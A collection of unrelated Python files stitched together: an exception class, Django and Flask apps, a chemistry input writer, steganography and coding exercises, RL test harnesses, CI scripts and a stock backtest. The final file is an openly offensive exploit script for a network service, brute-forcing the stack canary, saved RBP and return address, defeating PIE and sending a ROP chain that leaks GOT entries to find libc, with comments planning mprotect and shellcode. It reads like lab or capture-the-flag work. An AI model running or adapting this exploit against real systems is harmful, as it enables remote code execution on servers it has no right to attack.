import hashlib
import textwrap

class StructuredError(Exception):

    '''A structured error exception.

    A structured exception is meant to specify highly specific errors
    in its type. Rather than getting a formatted message string as its
    initialiser argument (e.g., "raise Exception('Something went
    wrong')"), the message is an attribute of the StructuredError
    subclass. Each message gets a separate sub-class: instead of a few
    fairly generic exceptions, you're expected to create very specific
    ones. For example, instead of, say, InputOutputError, you might
    define FileNotFoundError, or even ConfigFileDoesNotExistError, as
    well as ConfigFilePermissionDeniedError. More specific exceptions
    make it easier to handle specific error cases, whether by catching
    only specific ones, or by grepping log files for them.

    Structured errors get a set of keyword arguments to the
    initialiser, and use them to fill in templates in a message string
    attribute of the exception class. In addition, each structured
    exception has a unique ID, computed from the class name, which can
    be used, for example, as a user-visible error code. The ID is
    prepended to the message. The ID could also be used to look up
    translations, though that is not currently implemented. The ID
    will also make translated log files more greppable.

    The msg attribute is a format string. It can be arbitrarily long.
    The __str__ method returns the first line only, but the full
    message can be retrieved using the formatted() method. The
    convention is to have the first line be a short summary of the
    problem, and have the full message provide additional, helpful
    information to the user.

    The format string uses syntax according to the str.format
    specification (not the old % interpolation), in order to ease
    eventual migration to Python 3.

    To use structured error exceptions, subclass this class for each
    error condition, and add a msg attribute to the subclass. There is
    no such attribute in this base class, to prevent you from using it
    directly.

    Example:

        class NoLasagnaError(StructuredError):

            msg = 'Lunch is {lunch} instead of lasagna.'

    That's all the subclass needs to do. The caller must then provide
    the right keyword arguments: these are verified when the ``str``
    is called on the exception object. If the caller has not provided
    all the required arguments, an unformatted error message is
    provided, plus a note of what arguments are missing, and all the
    arguments that were provided. It's not an error to provide extra
    keyword arguments.

    '''

    msg = None

    def __init__(self, **kwargs):
        Exception.__init__(self)
        self.kwargs = kwargs

    @property
    def id(self):
        '''A semi-unique ID for this exception class.

        The ID is computed from the name of the class and the module
        it is in, using a checksum. There is no guarantee of
        uniqueness, but the likelihood of collisions is low.

        The ID is of the form RabcdeX, where abcde is five hexadecimal
        digits. The R prefix and the X suffix are there to make it
        easier to grep for the error code in large log files: they
        reduce the number of accidental hits compared to grepping just
        for the hexadecimal digits. R and X were chosen because they're
        pretty.

        '''

        summer = hashlib.md5()
        summer.update(self.__class__.__name__)
        summer.update(self.__class__.__module__)
        shorthash = summer.hexdigest()[:5]
        return 'R{0}X'.format(shorthash.upper())

    def _format_msg(self, template):
        # In case template is a docstring, remove leading whitespace
        # from lines.
        lines = template.splitlines(True)
        if len(lines) == 0:
            dedented = ''
        else:
            dedented = (textwrap.dedent(lines[0]) +
                        textwrap.dedent(''.join(lines[1:])))

        try:
            formatted_msg = dedented.format(**self.kwargs)
        except KeyError as e:
            # If there were any errors in the formatting of the message,
            # report them here. We do NOT want replace the actual error
            # message, because that would hide information from the user.
            # We do want to know there was an error, though.
            formatted_msg = '{0} (PROGRAMMING ERROR: {1} {2})'.format(
                dedented, repr(e), repr(self.kwargs))

        formatted = '{0}: {1}'.format(self.id, formatted_msg)
        return formatted.rstrip()

    def formatted(self):
        '''Return the full formatted message.

        Note that the returned string will NOT end in whitespace. If
        the format string ends in, say, a newline, it is stripped
        away.

        '''
        return self._format_msg(self.msg)

    def __str__(self):
        full = self.formatted()
        lines = full.splitlines()
        assert lines
        return lines[0]


# -*- coding: utf-8 -*-
from django.shortcuts import render
from django.views.decorators import csrf
import random

##  先将标注写入文件，之后跳转到tagging_cache.html再进行新页面的跳转
def tagging_push(request):
	ctx = {}
	# 先将已有的labels存入字典中
	file_object = open('label_data/labeled_data.txt','r')
	s = set()
	for f in file_object:
		pair = f.strip().split()
		curs = ""
		for i in range(1,len(pair)):
			if i>1 :
				curs += ' '
			curs += str(pair[i])
		s.add(curs.strip())

	file_object.close()

	file_object = open('label_data/unlabeled_data.txt','r')
	all_list = []
	for f in file_object:
		all_list.append(f.strip())
	ln = len(all_list)
	next_title = all_list[random.randint(0,ln-1)]

	if 'label' in request.GET and 'title' in request.GET:
		print(str(request.GET)+".....")
		title = str(request.GET['title']).strip()
		label = str(request.GET['label']).strip()
		if label != None:
			file_object = open('label_data/labeled_data.txt','a')
			if title in s:
				print("该title已存在，冲突！")
			else:
				file_object.write(label+" "+title+"\n")
				s.add(title)
			file_object.close()
		else:
			print('用户未选择label')

	if len(s) >= len(all_list) :
		return render(request, "over.html", ctx)

	while next_title in s:  # 如果冲突就再选
		next_title = all_list[random.randint(0,ln-1)].strip()

	ctx['next'] = "<input id='next' value='" + next_title + "' style='display:none;'></input>"

	return render(request, "tagging_cache.html", ctx)


"""
Writes the energy transfer section of a MESS input file
"""

import os
from ioformat import build_mako_str

# OBTAIN THE PATH TO THE DIRECTORY CONTAINING THE TEMPLATES #
SRC_PATH = os.path.dirname(os.path.realpath(__file__))
TEMPLATE_PATH = os.path.join(SRC_PATH, 'templates')
SECTION_PATH = os.path.join(TEMPLATE_PATH, 'sections')

def energy_transfer(exp_factor, exp_power, exp_cutoff,
                    eps1, eps2,
                    sig1, sig2,
                    mass1, mass2):
    """ Writes the energy transfer section of the MESS input file by
        formatting input information into strings a filling Mako template.

        :param exp_factor: 300 K energy-down value for collision model (cm-1)
        :type exp_factor: float
        :param exp_power: n, for [energy-down * (T/300K)^n] for collision model
        :type exp_power: float
        :param exp_cutoff: cutoff for assuming transition probability is zero
        :type exp_cutoff: float
        :param eps1: Lennard-Jones epsilon parameter of species 1 (K to cm-1)
        :type eps1: float
        :param eps2: Lennard-Jones epsilon parameter of species 2 (K to cm-1)
        :type eps2: float
        :param sig1: Lennard-Jones sigma parameter of species 1 (Angstrom)
        :type sig1: float
        :param sig2: Lennard-Jones sigma parameter of species 2 (Angstrom)
        :type sig2: float
        :param mass1: mass of Species 1 (amu)
        :type mass1: float
        :param mass2: mass of Species 2 (amu)
        :type mass2: float
        :return etrans_str: String for section
        :rtype: string
    """

    # Put the values into a string
    epsilon_str = '{0:<10.1f} {1:<10.1f}'.format(eps1, eps2)
    sigma_str = '{0:<10.2f} {1:<10.2f}'.format(sig1, sig2)
    mass_str = '{0:<10.1f} {1:<10.1f}'.format(mass1, mass2)

    # Create dictionary to fill template
    etrans_keys = {
        'exp_factor': exp_factor,
        'exp_power': exp_power,
        'exp_cutoff': exp_cutoff,
        'epsilons': epsilon_str,
        'sigmas': sigma_str,
        'masses': mass_str
    }

    return build_mako_str(
        template_file_name='energy_transfer.mako',
        template_src_path=SECTION_PATH,
        template_keys=etrans_keys)


from flask import Flask, redirect, request, render_template, session, flash
from flask_debugtoolbar import DebugToolbarExtension
from surveys import Survey, Question, satisfaction_survey, personality_quiz, surveys

app = Flask(__name__, template_folder = "templates")
app.config['SECRET_KEY'] = "oh-so-secret"

if __name__ == "__main__":
    app.debug = True
    app.run()

toolbar = DebugToolbarExtension(app)
responses = []

@app.route('/')
def start_survey():
    """Show the title of the survey, instructions and button to start the survey"""
    session['responses'] = []
    title = satisfaction_survey.title
    instruction = satisfaction_survey.instructions
    return render_template("base.html", title=title, instruction=instruction)

@app.route('/questions/<int:idx>')
def show_question(idx):
    """Show the question"""
    responses = session.get('responses', [])
    if len(responses) == 0:
        question = satisfaction_survey.questions[0].question
        choices = satisfaction_survey.questions[0].choices
        index = 0
        return render_template("questions.html", question=question, choices=choices, index=index)

    if len(responses) == len(satisfaction_survey.questions):
        return redirect('/thankyou.html')

    if idx != len(responses):
        flash("This is an invalid question")
        return redirect('/questions/{}'.format(len(responses)))

    question = satisfaction_survey.questions[idx].question
    choices = satisfaction_survey.questions[idx].choices
    index = idx
    return render_template("questions.html", question=question, choices=choices, index=index)

@app.route('/answer', methods=["POST"])
def answer_question():
    """Appends the answer to the responses array and redirects to the next question"""
    responses = session.get('responses', [])
    answer = request.form['answer']
    responses.append(answer)
    session['responses'] = responses

    idx = int(request.form["index"])
    current_idx = idx + 1

    if len(responses) == len(satisfaction_survey.questions):
        return render_template('/thankyou.html')
    else:
        return redirect('/questions/{}'.format(current_idx))


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from typing import List
from raw_dex_reader import get_species_from_dex
import editdistance

class SpeciesAnalyzer:
    def __init__(self, species: dict):
        self._species = species

    def _pairwise(self, iterable):
        a = iter(iterable)
        return zip(a, a)

    def find_duplicate_species(self):
        new_dict = {}
        for key, value in self._species.items():
            new_dict.setdefault(value, set()).add(key)
        return [{key: values} for key, values in new_dict.items() if len(values) > 1]

    def edit_distance_duplicates(self, max_edit_distance=1):
        s = self._species
        duplicates = []
        for key in s:
            for key2 in s:
                if key == key2:
                    continue
                if editdistance.eval(s[key], s[key2]) < max_edit_distance:
                    duplicates.append({key:s[key], key2:s[key2]})
        return duplicates

def run(filenames: List[str]):
    all_species = {}
    all_duplicates = []
    for filename in filenames:
        species = get_species_from_dex(filename)
        analyzer = SpeciesAnalyzer(species)

        print(str.format("Edit distance matches: {}",
                         analyzer.edit_distance_duplicates()))
        all_duplicates.extend(analyzer.find_duplicate_species())
        all_species = {**all_species, ** species}
    all_analyzer = SpeciesAnalyzer(all_species)
    all_analyzer.find_duplicate_species()

    print(str.format("Exact matches: {}", all_duplicates))

if __name__ == "__main__":
    import glob
    pathnames = glob.glob("..\\data\\*RAW*.DEX")
    print(pathnames)
    run(pathnames)


from queue import PriorityQueue

INF = 1e8

N,M,X = map(int,input().split())

graph = [[] for _ in range(N+1)]

graph2 = [[] for _ in range(N+1)]

for _ in range(M):
  u, v, w = map(int, input().split())
  graph[u].append((v, w))
  graph2[v].append((u, w))

result = 0

def dijkstra(start,a):
    distance = [INF] * (N+1)

    pq = PriorityQueue()
    pq.put((0, start))
    distance[start] = 0

    while not pq.empty():
        dist, now = pq.get()

        if distance[now] < dist:
            continue

        for i in a[now]:
            if dist+i[1] < distance[i[0]]:
                distance[i[0]] = dist+i[1]
                pq.put((dist+i[1],i[0]))
    return distance

a = dijkstra(X,graph)
b = dijkstra(X,graph2)

for i in range(1,N+1):
    if a[i] == INF or b[i] == INF:
        continue
    result = max(result,a[i]+b[i])

print(result)


#-*- coding:utf-8 -*-
'''
要点：
1.数组size为0时返回4个None
2.var的值为b2/(n-1)
3.数组size为1时var=None,skew=0.0,kurt=-3
4.不要忘了round
'''
class Solution():
    def describe(self, a):
        sum=0.0
        n=len(a)
        if n==0:
            return [None,None,None,None]
        else:
            for t1 in a:
                sum=sum+float(t1)
            mean=sum/n
            mean=round(mean,6)
            b2=b3=b4=0.0
            for t2 in a:
                b2=b2+(float(t2)-mean)**2
                b3=b3+(float(t2)-mean)**3
                b4=b4+(float(t2)-mean)**4
            if n==1:
                var=None
                skew=0.0
                kurt=-3
            else:
                var=b2/(n-1)
                var=round(var,6)
                b2=b2/n
                b3=b3/n
                b4=b4/n
                skew=b3/((b2)**1.5)
                kurt=b4/((b2)**2)
                skew=round(skew,6)
                kurt=round(kurt,6)-3.0
            return [mean,var,skew,kurt]


# author - AKHILESH SAKET NEVATIA
# LSB +- EMBEDDING CODE
# Modified LSB embedding into hidden projects
import numpy #module helping us store 2d arrays and perform neccesary functions among them

def reusable(I,i):
    store = (numpy.random.randint(2))
    if(store==1):
        I[i]+=1
    else:
        I[i]-=1

def embed(X,msg,key):
    cover = X
    #cover is the 2d ARRAY of an image ( numpy form)
    #ATTACH THIS IN THE BELOW PART
    # PUT KEY IN THE MAIN
    (I,Sh) = im2sig(cover, key , msg) # We get I , Sh from this
    return (I.reshape(Sh))

def extract(Embedded ,key ,length):
    #add length to message
    #message is giving the wrong extracted order as embedded is different from cover and we dont have access to cover and the permute function will not return the same permutation for the given values
        I = Embedded.flatten()
        L = len(I)
        index = 0
        I_ind = []
        for i in range(L):
            I_ind.append(index)
            index+=1
        if key != None:
            numpy.random.seed(key)
            makerandomarr = (numpy.random.permutation(I_ind)[:length])
            # Search for the extraction part more
            # See how to
            return (I[makerandomarr]%2)
        else:
            return (I[:length])%2

def im2sig(cover,key,msg):
    #Sh returned is the shape of the image used while converting back
    #I is the flattened list or single line array made from the 2d array
    Sh = cover.shape# Stores the cover shape useful while converting back from a single list
    I = cover.flatten()
    L = len(msg)#stores the length of message to be embedded in the image
    index = 0
    I_ind = []
    #constant time operation
    for i in range(len(I)):
        I_ind.append(index)
        index+=1
    #makes index subarray of the same length as I
    print(I_ind)
    if key != None:
        numpy.random.seed(key)
        randomarr = (numpy.random.permutation(I_ind)[:len(message)])
        print(randomarr)
        #randomarr = numpy.random.choice(np.arange(0,I.size), replace=False, size=(L))
        #print(randomarr)
        #CHECK HOW TO ADD KEY TO THE CHOICE FUNCTION AND CHECK FOR METHODS
        #1 KEY
        #2 USE PERMUAT/SCRAMBLE ON COVER ARRAY / GREY VALUE USING KEY
        #3 TAKE MESSAGE IN SAME ORDER
        #4 EMBED THEM INTO THE COVER STANDARD WAY
        #5 UNSCRAMBLE THE COVER USING THE KEY / INVERSE
        for i in range(L):#we iterate through the length of the message here
            #as key is there we use our randomarr generator to go through the bits
            #use XOR function for this part maybe
            if((I[randomarr[i]]%2==0 and message[i]%2!=0) or ((I[randomarr[i]%2]!=0) and message[i]%2==0)):
                reusable(I,randomarr[i])
        return (I,Sh)
    else:#WHEN NO KEY
        #very similar to the top code more direct
        for i in range(L):
            if((I[i]%2==0 and message[i]%2!=0) or ((I[i]%2!=0) and message[i]%2==0)) :
                reusable(I,i)#code removed from here into resuable part
        return (I,Sh)
# MAIN PROGRAM - AKHILESH NEVATIA OCTOBER 4TH 2022
# WRITE A UML DIAGRAM FOR THE CODE ON PAPER AFTER PUTTING KEY INTO MAIN PROGRAMME - DONE
# CHANGE REUABLE CODE PART - CHANGED AND ADDED RESUABLE FUNCTION
# make the message size the length of the array and then run to see how many times it enters while loop - made a varibale and called to see how many times it enters loop
# count number of times it takes to go through the while loop -  #can generate the numbers without reusing but am not able to include seed in the fucntion anyhow
#adding new code here
# TO DO _____
#TRY ENTERING THE KEY VALUE IN THE MAIN PART INSTEAD -DONE
#CHANGE THE KEY PART FOR EFFICIENCY USING NEW SHUFFLE METHOD - DONE

CoverImage = [[1,2,3,4],[5,6,7,8],[9,10,11,12]]#toy example
CoverImage = numpy.array(CoverImage)
message = numpy.array([1,1,1,1,0,1])
ans = int(input("type 1 if you want a key else type 0: "))
if(ans==1):
    key = int(input("Please enter seed value as key: "))
else:
    key=None;
(Embedded) = (embed(CoverImage,message,key))
print("The Cover Image is: ")
print(CoverImage)
print("The Embedded image is: ")
print(Embedded)
print("The extracted message is the following:")
print(extract(Embedded,key,len(message)))
#SCALING UP THE SIZE OF THE IMAGE NEXT


#The parameter of the function findNb (num) will be an integer m
#you have to return the integer n such as n^3 + (n-1)^3 + ... + 1^3 = m if such a n exists or -1 if there is no such n.

def find_nb(m):
    sum=0
    n=1
    while sum<m:
        sum=sum+(n**3)
        n+=1
    if sum==m:
        return n-1
    else:
        return -1
print(find_nb(441))


from django.urls import path
from AppSnake import views

urlpatterns= [
            path('',views.inicio,name= 'Inicio'),
            path('cientificos/', views.cientificos,name='Cientificos'),
            path('medicos/',views.medicos,name="Medicos"),
            path('proyecto/',views.proyecto, name='Proyecto'),
            path('medicoFormulario/',views.medicoFormulario, name='medicoFormulario'),
            path('medicoBusqueda/',views.medicoBusqueda, name='medicoBusqueda'),
            path('buscar/',views.buscar),
            path('cientificoFormulario/',views.cientificoFormulario,name='cientificoFormulario'),
            path('cientificoBusqueda/',views.cientificoBusqueda,name='cientificoBusqueda'),
            path('proyectoFormulario/',views.proyectoFormulario,name="proyectoFormulario"),
            path('buscar2/',views.buscar2),

            ]


import sys
_module = sys.modules[__name__]
del sys
master = _module
agents = _module
a2c = _module
common = _module
buffers = _module
networks = _module
utils = _module
ddpg = _module
dqn = _module
ppo = _module
sac = _module
td3 = _module
trpo = _module
vpg = _module
run_cartpole = _module
run_mujoco = _module
run_pendulum = _module
cartpole_test = _module
networks = _module
utils = _module
mujoco_test = _module
pendulum_test = _module

from _paritybench_helpers import _mock_config, patch_functional
from unittest.mock import mock_open, MagicMock
from torch.autograd import Function
from torch.nn import Module
import abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings
import numpy as np
from torch import Tensor
patch_functional()
open = mock_open()
yaml = logging = sys = argparse = MagicMock()
ArgumentParser = argparse.ArgumentParser
_global_config = args = argv = cfg = config = params = _mock_config()
argparse.ArgumentParser.return_value.parse_args.return_value = _global_config
yaml.load.return_value = _global_config
sys.argv = _global_config
__version__ = '1.0.0'
xrange = range
wraps = functools.wraps

import numpy as np

import torch

import torch.optim as optim

import torch.nn.functional as F

import torch.nn as nn

from torch.distributions import Categorical

from torch.distributions import Normal

import time

from torch.utils.tensorboard import SummaryWriter

def identity(x):
    """Return input without any change."""
    return x

class MLP(nn.Module):

    def __init__(self, input_size, output_size, hidden_sizes=(64, 64), activation=F.relu, output_activation=identity, use_output_layer=True):
        super(MLP, self).__init__()
        self.input_size = input_size
        self.output_size = output_size
        self.hidden_sizes = hidden_sizes
        self.activation = activation
        self.output_activation = output_activation
        self.use_output_layer = use_output_layer
        self.hidden_layers = nn.ModuleList()
        in_size = self.input_size
        for next_size in self.hidden_sizes:
            fc = nn.Linear(in_size, next_size)
            in_size = next_size
            self.hidden_layers.append(fc)
        if self.use_output_layer:
            self.output_layer = nn.Linear(in_size, self.output_size)
        else:
            self.output_layer = identity

    def forward(self, x):
        for hidden_layer in self.hidden_layers:
            x = self.activation(hidden_layer(x))
        x = self.output_activation(self.output_layer(x))
        return x

class CategoricalPolicy(MLP):

    def forward(self, x):
        x = super(CategoricalPolicy, self).forward(x)
        pi = F.softmax(x, dim=-1)
        dist = Categorical(pi)
        action = dist.sample()
        log_pi = dist.log_prob(action)
        return action, pi, log_pi

class FlattenMLP(MLP):

    def forward(self, x, a):
        q = torch.cat([x, a], dim=-1)
        return super(FlattenMLP, self).forward(q)

class GaussianPolicy(MLP):

    def __init__(self, input_size, output_size, hidden_sizes=(64, 64), activation=torch.tanh):
        super(GaussianPolicy, self).__init__(input_size=input_size, output_size=output_size, hidden_sizes=hidden_sizes, activation=activation)

    def forward(self, x, pi=None):
        mu = super(GaussianPolicy, self).forward(x)
        log_std = torch.zeros_like(mu)
        std = torch.exp(log_std)
        dist = Normal(mu, std)
        if pi == None:
            pi = dist.sample()
        log_pi = dist.log_prob(pi).sum(dim=-1)
        return mu, std, pi, log_pi

LOG_STD_MAX = 2

LOG_STD_MIN = -20

class ReparamGaussianPolicy(MLP):

    def __init__(self, input_size, output_size, hidden_sizes=(64, 64), activation=F.relu, action_scale=1.0, log_type='log', q=1.5, device=None):
        super(ReparamGaussianPolicy, self).__init__(input_size=input_size, output_size=output_size, hidden_sizes=hidden_sizes, activation=activation, use_output_layer=False)
        in_size = hidden_sizes[-1]
        self.action_scale = action_scale
        self.log_type = log_type
        self.q = 2.0 - q
        self.device = device
        self.mu_layer = nn.Linear(in_size, output_size)
        self.log_std_layer = nn.Linear(in_size, output_size)

    def clip_but_pass_gradient(self, x, l=-1.0, u=1.0):
        clip_up = (x > u).float()
        clip_low = (x < l).float()
        clip_value = (u - x) * clip_up + (l - x) * clip_low
        return x + clip_value.detach()

    def apply_squashing_func(self, mu, pi, log_pi):
        mu = torch.tanh(mu)
        pi = torch.tanh(pi)
        if self.log_type == 'log':
            log_pi -= torch.sum(torch.log(self.clip_but_pass_gradient(1 - pi.pow(2), l=0.0, u=1.0) + 1e-06), dim=-1)
        elif self.log_type == 'log-q':
            log_pi -= torch.log(self.clip_but_pass_gradient(1 - pi.pow(2), l=0.0, u=1.0) + 1e-06)
        return mu, pi, log_pi

    def tsallis_entropy_log_q(self, x, q):
        safe_x = torch.max(x, torch.Tensor([1e-06]))
        log_q_x = torch.log(safe_x) if q == 1.0 else (safe_x.pow(1 - q) - 1) / (1 - q)
        return log_q_x.sum(dim=-1)

    def forward(self, x):
        x = super(ReparamGaussianPolicy, self).forward(x)
        mu = self.mu_layer(x)
        log_std = torch.tanh(self.log_std_layer(x))
        log_std = LOG_STD_MIN + 0.5 * (LOG_STD_MAX - LOG_STD_MIN) * (log_std + 1)
        std = torch.exp(log_std)
        dist = Normal(mu, std)
        pi = dist.rsample()
        if self.log_type == 'log':
            log_pi = dist.log_prob(pi).sum(dim=-1)
            mu, pi, log_pi = self.apply_squashing_func(mu, pi, log_pi)
        elif self.log_type == 'log-q':
            log_pi = dist.log_prob(pi)
            mu, pi, log_pi = self.apply_squashing_func(mu, pi, log_pi)
            exp_log_pi = torch.exp(log_pi)
            log_pi = self.tsallis_entropy_log_q(exp_log_pi, self.q)
        mu = mu * self.action_scale
        pi = pi * self.action_scale
        return mu, pi, log_pi

import torch
from torch.nn import MSELoss, ReLU
from _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile

TESTCASES = [
    # (nn.Module, init_args, forward_args, jit_compiles)
    (CategoricalPolicy,
     lambda: ([], {'input_size': 4, 'output_size': 4}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
    (GaussianPolicy,
     lambda: ([], {'input_size': 4, 'output_size': 4}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
    (MLP,
     lambda: ([], {'input_size': 4, 'output_size': 4}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     True),
    (ReparamGaussianPolicy,
     lambda: ([], {'input_size': 4, 'output_size': 4}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
]

class Test_dongminlee94_deep_rl(_paritybench_base):
    def test_000(self):
        self._check(*TESTCASES[0])

    def test_001(self):
        self._check(*TESTCASES[1])

    def test_002(self):
        self._check(*TESTCASES[2])

    def test_003(self):
        self._check(*TESTCASES[3])


import logging

def init_logging(level=logging.INFO):
    """ Initialize logging using the given level """
    root_logger = logging.getLogger()
    root_logger.setLevel(level)

    # console handler
    console_handler = logging.StreamHandler()
    console_handler.setLevel(level)

    # formater
    fmt = '%(asctime)s %(levelname)s %(name)s %(funcName)s : %(message)s'
    datefmt = '%Y-%m-%d %H:%M:%S'
    formatter = logging.Formatter(fmt, datefmt)

    console_handler.setFormatter(formatter)
    root_logger.addHandler(console_handler)

    # Turn off noisy logging
    logging.getLogger("urllib3.connectionpool").setLevel(logging.WARNING)
    logging.getLogger("sh.command").setLevel(logging.WARNING)


#!/usr/bin/env python3

# This script is meant to be called from github Actions.
# This script runs catkin_test_results on the output to decide if the corresponding github Action should be failed.
# If catkin_test_results contain the string "0 errors", return a succesful system exit code of 0 to git Actions,
# otherwise return 1.to fail the git Action.

if __name__ == '__main__':
    import subprocess
    import sys

    # Build a shell command to send to a bash shell subprocess
    system_command = 'source /opt/ros/noetic/setup.bash; '
    system_command += 'source /root/test_ws/devel/setup.bash; '
    system_command += 'catkin_test_results /github/home/.ros/test_results'
    print(system_command)

    # Run shell command
    result = subprocess.run([system_command], stdout=subprocess.PIPE, shell=True, executable='/bin/bash')
    print(result.stdout.decode("utf-8"))

    # Check if catkin_test_results contains the string "0 errors"
    if "0 errors" in result.stdout.decode("utf-8"):
        print("No errors reported with catkin_test_results.")
        sys.exit(0)
    else:
        print("1 or more errors reported with catkin_test_results.")
        sys.exit(1)


#!/usr/bin/env python3
import argparse
import os
import pathlib

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Creates installer for Screenshotgun')

    parser.add_argument('-o', '--output', help='Output file', required=True)
    parser.add_argument('-v', '--version', help='Screenshotgun version', required=True)

    parser.add_argument(
        '-t',
        '--type',
        help='Type of binary',
        required=True,
        choices=['macos', 'windows'],
    )

    args = parser.parse_args()
    root_path = pathlib.Path(__file__).parent.parent.absolute()

    os.system('binarycreator '
              '-n '
              '-v '
              '-c %s/config/%s/config/config.xml '
              '-p %s/config/%s/packages '
              '%s' % (root_path, args.type, root_path, args.type, args.output))


import numpy as np
import pandas as pd
import datetime as dt
from pandas import Series, DataFrame, isnull
from datetime import timedelta, datetime
from CAL.PyCAL import *

##因子回测
lcap = DataAPI.MktStockFactorsOneDayGet(secID=set_universe('HS300'),tradeDate=u"20160922",field=['secID','LCAP'],pandas="1").set_index('secID')
#lcap.head()

# 去极值winsorize
after_winsorize = winsorize(lcap['LCAP'].to_dict())
lcap['winsorized LCAP'] = np.nan
lcap.loc[after_winsorize.keys(),'winsorized LCAP'] = after_winsorize.values()
#print(lcap)

# 标准化standardize
after_standardize = standardize(lcap['winsorized LCAP'].to_dict())
lcap['standardized LCAP'] = np.nan
lcap.loc[after_standardize.keys(),'standardized LCAP'] = after_standardize.values()
#lcap['standardized LCAP'].plot(figsize=(14,5))
#print(lcap)

start = '2013-01-01'
end = '2016-09-01'
benchmark = 'HS300'
universe = DynamicUniverse('HS300') + DynamicUniverse('ZZ500')
capital_base = 10000000
freq = 'd'  # 策略类型，'d'表示日间策略使用日线回测，'m'表示日内策略使用分钟线回测
refresh_rate = Monthly(1)

accounts = {'fantasy_account': AccountConfig(account_type='security',capital_base=10000000)}

def initialize(context):
    context.signal_generator = SignalGenerator(Signal('LCAP'))

def handle_data(context):
    universe = context.get_universe()
    yesterday = context.previous_date.strftime('%Y-%m-%d')
    data = context.history(universe, ['LCAP'], time_rage = 1, style = 'tas')
    data = data[yesterday]

    factor = data['LCAP'].dropna()
    factor = pd.Series(winsorize(factor, win_type='QuantileDraw',pvalue=0.05))
    factor = 1.0/factor
    factor = factor.replace([np.inf, -np.inf], 0.0)
    signal_lcap = standardize(dict(factor))

    signal = pd.Series(signal_lcap)

    wts = simple_long_only(signal, yesterday)
    account = context.get_account('fantasy_account')
    current_position = account.get_positions(exclude_halt=True)
    target_position = wts.keys()

    for stock in set(current_position).difference(target_position):
        account.order_to(stock, 0)
    for stock in target_position:
        account.order_pct_to(stock, wts[stock])


from utils import *

# first way to exploit:
# defeat ASLR/PIE, stack canary
# then construct rop chain to execute mprotect(ADDR, LEN, R_X) on stack address, then return to shellcode inserted at the beginning of the buffer
#
# PROBLEM with this approach:
# when trying to leak the RBP saved on stack,
# it might falsely guess a wrong (smaller) value,
# because after the exit from handle_request,
# the function loads all the stack variables (the closing message string) from registers as immediate values
# and so, does not actually need to restore the correct RBP after exiting from handle_request
# the attacker-side checker functions validates brute-force attemps by checking received closing message strings
# which will sometimes be sent even if the RBP is not guessed correctly (as explained above)
#
# this means that the attacker can no longer rely on a fixed offset from the supposed leaked RBP to the buffer location
# so it might try to jump to an invalid location, instead of the beginning of the buffer where the shellcode is
#
# for this to not be a problem anymore, the "fake leaked" RBP must be at a fixed distance from the "real" RBP
# so that the buffer to "fake leaked" RBP distance is also constant

SERVER_IP = 'localhost'
SERVER_PORT = 8888

CANARY_OFFSET = 200
RBP_OFFSET = 208
RIP_OFFSET = 216

PAD_BYTE = b'A'

def try_byte(sock: socket.socket, byte_val, payload_prefix):

    payload = payload_prefix + byte_val

    sock.recv(1024)
    sock.send(payload)

    recvd = sock.recv(1024)

    if recvd != b"Request complete, Closing...\n":
        return None

    return byte_val

PAD = PAD_BYTE * CANARY_OFFSET

canary_leaker = Remote_64bitBruteforce(SERVER_IP, SERVER_PORT, try_byte, PAD, hints={0: [(b'\x00', b'\x00')]}, session_name="CANARY LEAK")
#canary_bytes = canary_leaker.find_value()
canary_bytes = b'\x00\xc9\xfe\x00 ~\x0e1'

RBP_leaker = Remote_64bitBruteforce(SERVER_IP, SERVER_PORT, try_byte, PAD + canary_bytes,
                                    hints={5: [(b'\x7f', b'\x7f')], 6: [(b'\x00', b'\x00')], 7: [(b'\x00', b'\x00')]}, session_name="RBP LEAK")
#RBP_bytes = RBP_leaker.find_value()
RBP_bytes = b'\x80\xda:\x18\xfe\x7f\x00\x00'

RIP_leaker = Remote_64bitBruteforce(SERVER_IP, SERVER_PORT, try_byte, PAD + canary_bytes + RBP_bytes,
                                    hints={0: [(b'\xa4', b'\xa4')], 1:[(bv, bv) for bv in bytes_start_with(b'\x06')]}, session_name="RIP LEAK")
#RIP_bytes = RIP_leaker.find_value()
RIP_bytes = b'\xa4VJ\xca\xf9U\x00\x00'

RIP_ORG_ADDR = 0x16a4
PIE_OFFSET = from_bytes(RIP_bytes) - RIP_ORG_ADDR

BASE_GOT_ADDR = 0x3f20 + PIE_OFFSET

WRITE_PLT_ADDR = 0x11b0 + PIE_OFFSET
POP_RDI_RET_ADDR = 0x1793 + PIE_OFFSET
POP_RSI_R15_RET_ADDR = 0x1791 + PIE_OFFSET
RET_ADDR = 0x1794 + PIE_OFFSET

BASE_LIBC_ADDR = 0x0
libc_db = LIBC_util(session_name="LIBC LEAK")

def leak_libc_addrs(to_leak):

    global BASE_LIBC_ADDR

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((SERVER_IP, SERVER_PORT))

    payload = b''
    payload += PAD
    payload += canary_bytes
    payload += RBP_bytes
    # at the moment of execution of ROP chain, RDI already has the client socket descriptor
    # so there is no need for loading it explicitly
    payload += to_bytes(POP_RSI_R15_RET_ADDR)
    payload += to_bytes(BASE_GOT_ADDR)
    payload += PAD_BYTE * 8
    # at the moment of execution of ROP chain, RDX already has value 0x400
    # so there is no need for loading a value explicitly
    payload += to_bytes(WRITE_PLT_ADDR)

    sock.recv(1024)
    sock.send(payload)

    recvd = sock.recv(1024)

    # extracting as much addresses as possible
    # to narrow down as much as possible the list of possible libc versions

    write_addr = from_bytes(recvd[8 * 6: 8 * 7])
    htons_addr = from_bytes(recvd[8 * 10: 8 * 11])
    close_addr = from_bytes(recvd[8 * 12: 8 * 13])
    signal_addr = from_bytes(recvd[8 * 14: 8 * 15])
    exit_addr = from_bytes(recvd[8 * 20: 8 * 21])

    leaked_sym_dict = {"htons": htons_addr, "write": write_addr,
                        "close": close_addr, "signal": signal_addr, "exit": exit_addr}

    libc_db.collect_leaked_symbols(leaked_sym_dict)
    libc_db.search_libc_version()

    libc_db.find_libc_base_addr()
